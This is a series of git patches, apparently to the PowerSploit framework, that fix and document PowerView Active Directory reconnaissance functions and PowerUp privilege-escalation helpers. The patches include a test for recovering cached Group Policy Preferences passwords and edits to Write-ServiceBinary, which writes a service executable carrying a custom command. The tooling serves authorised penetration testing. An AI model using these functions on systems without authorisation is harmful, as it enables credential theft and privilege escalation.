+ + $GPPResult = Get-CachedGPPPassword + Remove-Item -Force $Path + + $GPPResult.Passwords[0] | Should be 'Super!!!Password' + $GPPResult.UserNames[0] | Should be 'SuperSecretBackdoor' + } +} + + Describe 'Invoke-AllChecks' { It 'Should return results to stdout.' { $Output = Invoke-AllChecks From da86d76adba5e3578a3e3db403df8afd207e5f53 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 6 Jun 2016 15:43:01 -0400 Subject: [PATCH 159/296] updated Privesc.psd1 and README.md --- Privesc/Privesc.psd1 | 1 + Privesc/README.md | 1 + 2 files changed, 2 insertions(+) diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index 97b7652c..867c7ec1 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -27,6 +27,7 @@ FunctionsToExport = @( 'Find-PathDLLHijack', 'Find-ProcessDLLHijack', 'Get-ApplicationHost', + 'Get-CachedGPPPassword', 'Get-CurrentUserTokenGroupSid', 'Get-ModifiablePath', 'Get-ModifiableRegistryAutoRun', diff --git a/Privesc/README.md b/Privesc/README.md index 7f57768a..d5b499c3 100644 --- a/Privesc/README.md +++ b/Privesc/README.md @@ -55,6 +55,7 @@ Optional Dependencies: None Get-Webconfig - checks for any encrypted web.config strings Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords Get-SiteListPassword - retrieves the plaintext passwords for any found McAfee's SiteList.xml files + Get-CachedGPPPassword - checks for passwords in cached Group Policy Preferences files ### Other Helpers/Meta-Functions: Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify From b6306a0d8c356d23a00a8fb2288683bffa2b492c Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 6 Jun 2016 21:37:36 -0400 Subject: [PATCH 160/296] Small bug fix in Find-GPOLocation when enumerating all relationships Moved GPOType check to Get-NetGPOGroup Expanded comments and help for GPO location cmdlets --- Recon/PowerView.ps1 | 108 ++++++++++++++++++++++++++++++++------------ 1 file changed, 79 insertions(+), 29 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 2922539a..a75a950e 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6590,6 +6590,20 @@ function Get-NetGPOGroup { Returns all GPOs in a domain that set "Restricted Groups" or use groups.xml on on target machines. + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: Get-NetGPO, Get-GptTmpl, Get-GroupsXML, Convert-NameToSid, Convert-SidToName + Optional Dependencies: None + + .DESCRIPTION + + First enumerates all GPOs in the current/target domain using Get-NetGPO with passed + arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or + group membership is set through Group Policy Preferences groups.xml files. For any + GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' + section data is processed if present. Any found Groups.xml files are parsed with + Get-GroupsXML and those memberships are returned as well. + .PARAMETER GPOname The GPO name to query for, wildcards accepted. @@ -6628,6 +6642,10 @@ function Get-NetGPOGroup { PS C:\> Get-NetGPOGroup Returns all local groups set by GPO along with their members and memberof. + + .LINK + + https://morgansimonsenblog.azurewebsites.net/tag/groups/ #> [CmdletBinding()] @@ -6683,13 +6701,14 @@ function Get-NetGPOGroup { ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()} + # extract out ALL members $MembershipValue = $Membership.Value.Split(',') | ForEach-Object { $_.Trim('*') } | Where-Object {$_} if($MembershipValue -isnot [System.Array]) { $MembershipValue = @($MembershipValue) } if($ResolveMemberSIDs) { + # if the resulting member is username and not a SID, attempt to resolve it $GroupMembers = @() ForEach($Member in $MembershipValue) { - Write-Verbose "Member: $Member" if($Member -notmatch '^S-1-.*') { $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID if($MemberSID) { @@ -6714,7 +6733,7 @@ function Get-NetGPOGroup { ForEach ($Membership in $Memberships.GetEnumerator()) { if($Membership.Key -match '^\*') { - # if the SID is already resolved, try to resolve SID to a name + # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name $GroupSID = $Membership.Key.Trim('*') $GroupName = Convert-SidToName -SID $GroupSID } @@ -6739,6 +6758,7 @@ function Get-NetGPOGroup { $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' $GPOGroup | Add-Member Noteproperty 'Filters' $Null $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID @@ -6758,6 +6778,7 @@ function Get-NetGPOGroup { $GroupMembers = @() ForEach($Member in $_.GroupMembers) { if($Member -notmatch '^S-1-.*') { + # if the resulting member is username and not a SID, attempt to resolve it $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID if($MemberSID) { $GroupMembers += $MemberSID @@ -6775,6 +6796,7 @@ function Get-NetGPOGroup { $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName $_ | Add-Member Noteproperty 'GPOName' $GPOName + $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' $_ } } @@ -6784,10 +6806,19 @@ function Get-NetGPOGroup { function Find-GPOLocation { <# .SYNOPSIS + + Enumerates the machines where a specific user/group is a member of a specific + local group, all through GPO correlation. - Takes a user/group name and optional domain, and determines - the computers in the domain the user/group has local admin - (or RDP) rights to. + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: Get-NetUser, Get-NetGroup, Get-NetGPOGroup, Get-NetOU, Get-NetComputer, Get-ADObject, Get-NetSite + Optional Dependencies: None + + .DESCRIPTION + + Takes a user/group name and optional domain, and determines the computers in the domain + the user/group has local admin (or RDP) rights to. It does this by: 1. resolving the user/group to its proper SID @@ -6800,6 +6831,9 @@ function Find-GPOLocation { 5. enumerating all OUs and sites and applicable GPO GUIs are applied to through gplink enumerating 6. querying for all computers under the given OUs or sites + + If no user/group is specified, all user/group -> machine mappings discovered through + GPO relationships are returned. .PARAMETER UserName @@ -6831,6 +6865,13 @@ function Find-GPOLocation { The PageSize to set for the LDAP searcher object. + .EXAMPLE + + PS C:\> Find-GPOLocation + + Find all user/group -> machine relationships where the user/group is a member + of the local administrators group on target machines. + .EXAMPLE PS C:\> Find-GPOLocation -UserName dfm @@ -6878,11 +6919,11 @@ function Find-GPOLocation { ) if($UserName) { - + # if a group name is specified, get that user object so we can extract the target SID $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize $UserSid = $User.objectsid - if(!$UserSid) { + if(-not $UserSid) { Throw "User '$UserName' not found!" } @@ -6891,11 +6932,11 @@ function Find-GPOLocation { $TargetObject = $UserSid } elseif($GroupName) { - + # if a group name is specified, get that group object so we can extract the target SID $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize $GroupSid = $Group.objectsid - if(!$GroupSid) { + if(-not $GroupSid) { Throw "Group '$GroupName' not found!" } @@ -6907,6 +6948,7 @@ function Find-GPOLocation { $TargetSIDs = @('*') } + # figure out what the SID is of the target local group we're checking for membership in if($LocalGroup -like "*Admin*") { $TargetLocalSID = 'S-1-5-32-544' } @@ -6920,8 +6962,9 @@ function Find-GPOLocation { throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format." } + # if we're not listing all relationships, use the tokenGroups approach from Get-NetGroup to + # get all effective security SIDs this object is a part of if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '*')) { - # use the tokenGroups approach from Get-NetGroup to get all effective security SIDs this object is a part of $TargetSIDs += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids } @@ -6940,6 +6983,7 @@ function Find-GPOLocation { 'PageSize' = $PageSize } + # enumerate all GPO group mappings for the target domain $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { $GPOgroup = $_ @@ -6960,26 +7004,24 @@ function Find-GPOLocation { $GPOname = $_.GPODisplayName $GPOguid = $_.GPOName $GPOPath = $_.GPOPath + $GPOType = $_.GPOType $GPOMembers = $_.GroupMembers $Filters = $_.Filters if(-not $TargetObject) { # if the * wildcard was used, set the ObjectDistName as the GPO member SID set - $TargetObject = $GPOMembers - } - - if($GPOName -match 'Groups.xml') { - $GPOType = 'GroupPolicyPreferences' + # so all relationship mappings are output + $TargetObjectSIDs = $GPOMembers } else { - $GPOType = 'RestrictedGroups' + $TargetObjectSIDs = $TargetObject } # find any OUs that have this GUID applied and then retrieve any computers from the OU Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { if($Filters) { # filter for computer name/org unit if a filter is specified - # TODO: handle other filters (i.e. OU filters?) + # TODO: handle other filters (i.e. OU filters?) again, I hate you GPP... $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { $_.adspath -match ($Filters.Value) } | ForEach-Object { $_.dnshostname } @@ -6990,7 +7032,7 @@ function Find-GPOLocation { if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} - ForEach ($TargetSid in $TargetObject) { + ForEach ($TargetSid in $TargetObjectSIDs) { $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize @@ -7014,7 +7056,7 @@ function Find-GPOLocation { # find any sites that have this GUID applied Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { - ForEach ($TargetSid in $TargetObject) { + ForEach ($TargetSid in $TargetObjectSIDs) { $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype @@ -7041,8 +7083,23 @@ function Find-GPOComputerAdmin { <# .SYNOPSIS - Takes a computer (or GPO) object and determines what users/groups have - administrative access over it. + Takes a computer (or GPO) object and determines what users/groups are in the specified + local group for the machine. + + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: Get-NetComputer, Get-SiteName, Get-NetSite, Get-NetGPOGroup, Get-ADObject, Get-NetGroupMember, Convert-SidToName + Optional Dependencies: None + + .DESCRIPTION + + If a -ComputerName is specified, retrieve the complete computer object, attempt to + determine the OU the computer is a part of. Then resolve the computer's site name with + Get-SiteName and retrieve all sites object Get-NetSite. For those results, attempt to + enumerate all linked GPOs and associated local group settings with Get-NetGPOGroup. For + each resulting GPO group, resolve the resulting user/group name to a full AD object and + return the results. This will return the domain objects that are members of the specified + -LocalGroup for the given computer. Inverse of Find-GPOLocation. @@ -7211,13 +7268,6 @@ function Find-GPOComputerAdmin { $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object { $GPOGroup = $_ - if($GPOGroup.GPOPath -match 'Groups.xml') { - $GPOType = 'GroupPolicyPreferences' - } - else { - $GPOType = 'RestrictedGroups' - } - $GPOGroup.GroupMembers | ForEach-Object { # resolve this SID to a domain object @@ -7234,7 +7284,7 @@ function Find-GPOComputerAdmin { $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOType + $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOType.GPOType $GPOComputerAdmin # if we're recursing and the current result object is a group From 5d7fe6b10047f95ffdd8292419dec437c6e14244 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 7 Jun 2016 13:00:14 -0400 Subject: [PATCH 161/296] Corrected -Path parameter in Write-ServiceBinary --- Privesc/PowerUp.ps1 | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 8dd14c5f..39e571a2 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -1458,7 +1458,7 @@ function Get-ServiceUnquoted { $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'ModifiablePath' $_ $Out | Add-Member Noteproperty 'StartName' $Service.startname - $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -ServicePath " + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -Path " $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } @@ -1896,7 +1896,7 @@ function Write-ServiceBinary { Custom command to execute instead of user creation. - .PARAMETER ServicePath + .PARAMETER Path Path to write the binary out to, defaults to 'service.exe' in the local directory. @@ -1960,7 +1960,7 @@ function Write-ServiceBinary { $Command, [String] - $ServicePath = "$(Convert-Path .)\service.exe" + $Path = "$(Convert-Path .)\service.exe" ) BEGIN { @@ -2011,11 +2011,11 @@ function Write-ServiceBinary { $Binary[$i+2535] = $CommandBytes[$i] } - Set-Content -Value $Binary -Encoding Byte -Path $ServicePath -Force -ErrorAction Stop + Set-Content -Value $Binary -Encoding Byte -Path $Path -Force -ErrorAction Stop $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $TargetService.Name - $Out | Add-Member Noteproperty 'ServicePath' $ServicePath + $Out | Add-Member Noteproperty 'Path' $Path $Out | Add-Member Noteproperty 'Command' $ServiceCommand $Out } @@ -2176,7 +2176,7 @@ function Install-ServiceBinary { Write-Warning "Error backing up '$ServicePath' : $_" } - $Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -ServicePath $ServicePath + $Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -Path $ServicePath $Result | Add-Member Noteproperty 'BackupPath' $BackupPath $Result } From d37ec66c7931b1da83f44477ef37f7f50c53bcf5 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 7 Jun 2016 15:36:39 -0400 Subject: [PATCH 162/296] bug fixes/error handling in Get-NetGPOGroup for version 2 --- Recon/PowerView.ps1 | 73 ++++++++++++++++++++++++++------------------- 1 file changed, 43 insertions(+), 30 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index a75a950e..46ecf823 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6702,25 +6702,26 @@ function Get-NetGPOGroup { $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()} # extract out ALL members - $MembershipValue = $Membership.Value.Split(',') | ForEach-Object { $_.Trim('*') } | Where-Object {$_} - if($MembershipValue -isnot [System.Array]) { $MembershipValue = @($MembershipValue) } + $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} if($ResolveMemberSIDs) { # if the resulting member is username and not a SID, attempt to resolve it $GroupMembers = @() ForEach($Member in $MembershipValue) { - if($Member -notmatch '^S-1-.*') { - $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID - if($MemberSID) { - $GroupMembers += $MemberSID + if($Member -and ($Member.Trim() -ne '')) { + if($Member -notmatch '^S-1-.*') { + $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID + if($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } } else { $GroupMembers += $Member } } - else { - $GroupMembers += $Member - } } $MembershipValue = $GroupMembers } @@ -6732,25 +6733,35 @@ function Get-NetGPOGroup { } ForEach ($Membership in $Memberships.GetEnumerator()) { - if($Membership.Key -match '^\*') { + if($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name $GroupSID = $Membership.Key.Trim('*') - $GroupName = Convert-SidToName -SID $GroupSID + if($GroupSID -and ($GroupSID.Trim() -ne '')) { + $GroupName = Convert-SidToName -SID $GroupSID + } + else { + $GroupName = $False + } } else { $GroupName = $Membership.Key - if($Groupname -match 'Administrators') { - $GroupSID = 'S-1-5-32-544' - } - elseif($Groupname -match 'Remote Desktop') { - $GroupSID = 'S-1-5-32-555' - } - elseif($Groupname -match 'Guests') { - $GroupSID = 'S-1-5-32-546' - } - else { - $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID + if($GroupName -and ($GroupName.Trim() -ne '')) { + if($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + elseif($GroupName.Trim() -ne '') { + $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID + } + else { + $GroupSID = $Null + } } } @@ -6777,19 +6788,21 @@ function Get-NetGPOGroup { if($ResolveMemberSIDs) { $GroupMembers = @() ForEach($Member in $_.GroupMembers) { - if($Member -notmatch '^S-1-.*') { - # if the resulting member is username and not a SID, attempt to resolve it - $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID - if($MemberSID) { - $GroupMembers += $MemberSID + if($Member -and ($Member.Trim() -ne '')) { + if($Member -notmatch '^S-1-.*') { + # if the resulting member is username and not a SID, attempt to resolve it + $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID + if($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } } else { $GroupMembers += $Member } } - else { - $GroupMembers += $Member - } } $_.GroupMembers = $GroupMembers } From b5172c2befc61ee7494f08b95396ba8565675fae Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 8 Jun 2016 00:44:24 -0400 Subject: [PATCH 163/296] Fixed a few GC bugs in Get-DomainSearcher Added attempted gpcfilesyspath resolution to Get-NetGPO Added -ADSPath for Get-NetDomainTrust --- Recon/PowerView.ps1 | 73 ++++++++++++++++++++++++++++++--------------- 1 file changed, 49 insertions(+), 24 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 46ecf823..7facef3d 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -895,7 +895,7 @@ filter Convert-NameToSid { $Domain = $ObjectName.Split("\")[0] $ObjectName = $ObjectName.Split("\")[1] } - elseif(!$Domain) { + elseif(-not $Domain) { $Domain = (Get-NetDomain).Name } @@ -1698,11 +1698,11 @@ filter Get-DomainSearcher { $Credential ) - if(!$Credential) { - if(!$Domain) { + if(-not $Credential) { + if(-not $Domain) { $Domain = (Get-NetDomain).name } - elseif(!$DomainController) { + elseif(-not $DomainController) { try { # if there's no -DomainController specified, try to pull the primary DC to reflect queries through $DomainController = ((Get-NetDomain).PdcRoleOwner).Name @@ -1712,7 +1712,7 @@ filter Get-DomainSearcher { } } } - elseif (!$DomainController) { + elseif (-not $DomainController) { try { $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name } @@ -1730,24 +1730,24 @@ filter Get-DomainSearcher { if($DomainController) { $SearchString += $DomainController if($Domain){ - $SearchString += "/" + $SearchString += '/' } } if($ADSprefix) { - $SearchString += $ADSprefix + "," + $SearchString += $ADSprefix + ',' } if($ADSpath) { - if($ADSpath -like "GC://*") { + if($ADSpath -Match '^GC://') { # if we're searching the global catalog - $DN = $AdsPath - $SearchString = "" + $DN = $AdsPath.ToUpper().Trim('/') + $SearchString = '' } else { - if($ADSpath -like "LDAP://*") { + if($ADSpath -match '^LDAP://') { if($ADSpath -match "LDAP://.+/.+") { - $SearchString = "" + $SearchString = '' } else { $ADSpath = $ADSpath.Substring(7) @@ -4851,7 +4851,7 @@ function Get-NetSite { $SiteSearcher.dispose() } catch { - Write-Warning $_ + Write-Verbose $_ } } } @@ -6351,8 +6351,23 @@ function Get-NetGPO { try { $Results = $GPOSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + if($ADSPath -and ($ADSpath -Match '^GC://')) { + $Properties = Convert-LDAPProperty -Properties $_.Properties + try { + $GPODN = $Properties.distinguishedname + $GPODomain = $GPODN.subString($GPODN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($Properties.cn)" + $Properties | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath + $Properties + } + catch { + $Properties + } + } + else { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } } $Results.dispose() $GPOSearcher.dispose() @@ -6710,7 +6725,7 @@ function Get-NetGPOGroup { ForEach($Member in $MembershipValue) { if($Member -and ($Member.Trim() -ne '')) { if($Member -notmatch '^S-1-.*') { - $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID + $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID if($MemberSID) { $GroupMembers += $MemberSID } @@ -6729,6 +6744,7 @@ function Get-NetGPOGroup { if(-not $Memberships[$Group]) { $Memberships[$Group] = @{} } + if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} $Memberships[$Group].Add($Relation, $MembershipValue) } @@ -6757,7 +6773,7 @@ function Get-NetGPOGroup { $GroupSID = 'S-1-5-32-546' } elseif($GroupName.Trim() -ne '') { - $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID + $GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID } else { $GroupSID = $Null @@ -6791,7 +6807,7 @@ function Get-NetGPOGroup { if($Member -and ($Member.Trim() -ne '')) { if($Member -notmatch '^S-1-.*') { # if the resulting member is username and not a SID, attempt to resolve it - $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID + $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID if($MemberSID) { $GroupMembers += $MemberSID } @@ -6933,7 +6949,7 @@ function Find-GPOLocation { if($UserName) { # if a group name is specified, get that user object so we can extract the target SID - $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize + $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1 $UserSid = $User.objectsid if(-not $UserSid) { @@ -6946,7 +6962,7 @@ function Find-GPOLocation { } elseif($GroupName) { # if a group name is specified, get that group object so we can extract the target SID - $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -First 1 $GroupSid = $Group.objectsid if(-not $GroupSid) { @@ -7046,8 +7062,7 @@ function Find-GPOLocation { if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} ForEach ($TargetSid in $TargetObjectSIDs) { - - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype @@ -7055,6 +7070,7 @@ function Find-GPOLocation { $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocation | Add-Member Noteproperty 'Domain' $Domain $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid @@ -7070,7 +7086,7 @@ function Find-GPOLocation { Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { ForEach ($TargetSid in $TargetObjectSIDs) { - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype @@ -7079,6 +7095,7 @@ function Find-GPOLocation { $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup + $AppliedSite | Add-Member Noteproperty 'Domain' $Domain $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath @@ -12396,6 +12413,11 @@ function Get-NetDomainTrust { Domain controller to reflect LDAP queries through. + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://DC=testlab,DC=local". + Useful for global catalog queries ;) + .PARAMETER API Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts. @@ -12451,6 +12473,9 @@ function Get-NetDomainTrust { [String] $DomainController, + [String] + $ADSpath, + [Switch] $API, @@ -12473,7 +12498,7 @@ function Get-NetDomainTrust { if($LDAP) { - $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath $SourceSID = Get-DomainSID -Domain $Domain -DomainController $DomainController if($TrustSearcher) { From c53cd87d8f93637a2f26973036a749ab9d3e78fc Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 8 Jun 2016 01:35:33 -0400 Subject: [PATCH 164/296] Fixed LDAP preference for when -ADSPath is passed to Get-NetDomainTrust Fixed Get-DomainSID to allow for a -DomainController parameter Fixed Get-NetDomainTrust logic --- Recon/PowerView.ps1 | 49 +++++++++++++++++++++++++++------------------ 1 file changed, 29 insertions(+), 20 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 7facef3d..1c2bd269 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1713,6 +1713,7 @@ filter Get-DomainSearcher { } } elseif (-not $DomainController) { + # if a DC isn't specified try { $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name } @@ -4987,6 +4988,10 @@ function Get-DomainSID { The domain to query, defaults to the current domain. + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + .EXAMPLE C:\> Get-DomainSID -Domain TEST @@ -4996,16 +5001,15 @@ function Get-DomainSID { param( [String] - $Domain + $Domain, + + [String] + $DomainController ) - $FoundDomain = Get-NetDomain -Domain $Domain - - if($FoundDomain) { - # query for the primary domain controller so we can extract the domain SID for filtering - $PrimaryDC = $FoundDomain.PdcRoleOwner - $PrimaryDCSID = (Get-NetComputer -Domain $Domain -ComputerName $PrimaryDC -FullData).objectsid - $Parts = $PrimaryDCSID.split("-") + $DCSID = Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid + if($DCSID) { + $Parts = $DCSID.split("-") $Parts[0..($Parts.length -2)] -join "-" } } @@ -5342,7 +5346,7 @@ function Get-NetGroupMember { } else { # default to domain admins - $SID = (Get-DomainSID -Domain $TargetDomain -Credential $Credential) + "-512" + $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512" $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize } $GroupDN = $Group.distinguishedname @@ -5368,7 +5372,7 @@ function Get-NetGroupMember { } else { # default to domain admins - $SID = (Get-DomainSID -Domain $TargetDomain -Credential $Credential) + "-512" + $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512" $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } @@ -12288,7 +12292,7 @@ function Invoke-EnumerateLocalAdmin { } # query for the primary domain controller so we can extract the domain SID for filtering - $DomainSID = Get-DomainSID -Domain $Domain + $DomainSID = Get-DomainSID -Domain $Domain -DomainController $DomainController } # script block that enumerates a server @@ -12466,7 +12470,7 @@ function Get-NetDomainTrust { [CmdletBinding()] param( - [Parameter(Position=0,ValueFromPipeline=$True)] + [Parameter(Position=0, ValueFromPipeline=$True)] [String] $Domain, @@ -12492,14 +12496,19 @@ function Get-NetDomainTrust { process { - if((-not $Domain) -or ((-not $API) -and (-not $DomainController))) { - $Domain = (Get-NetDomain -Credential $Credential).Name + if(-not $Domain) { + # if not domain is specified grab the current domain + $SourceDomain = (Get-NetDomain -Credential $Credential).Name } + else { + $SourceDomain = $Domain + } + + if($LDAP -or $ADSPath) { - if($LDAP) { + $TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath - $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath - $SourceSID = Get-DomainSID -Domain $Domain -DomainController $DomainController + $SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController if($TrustSearcher) { @@ -12533,7 +12542,7 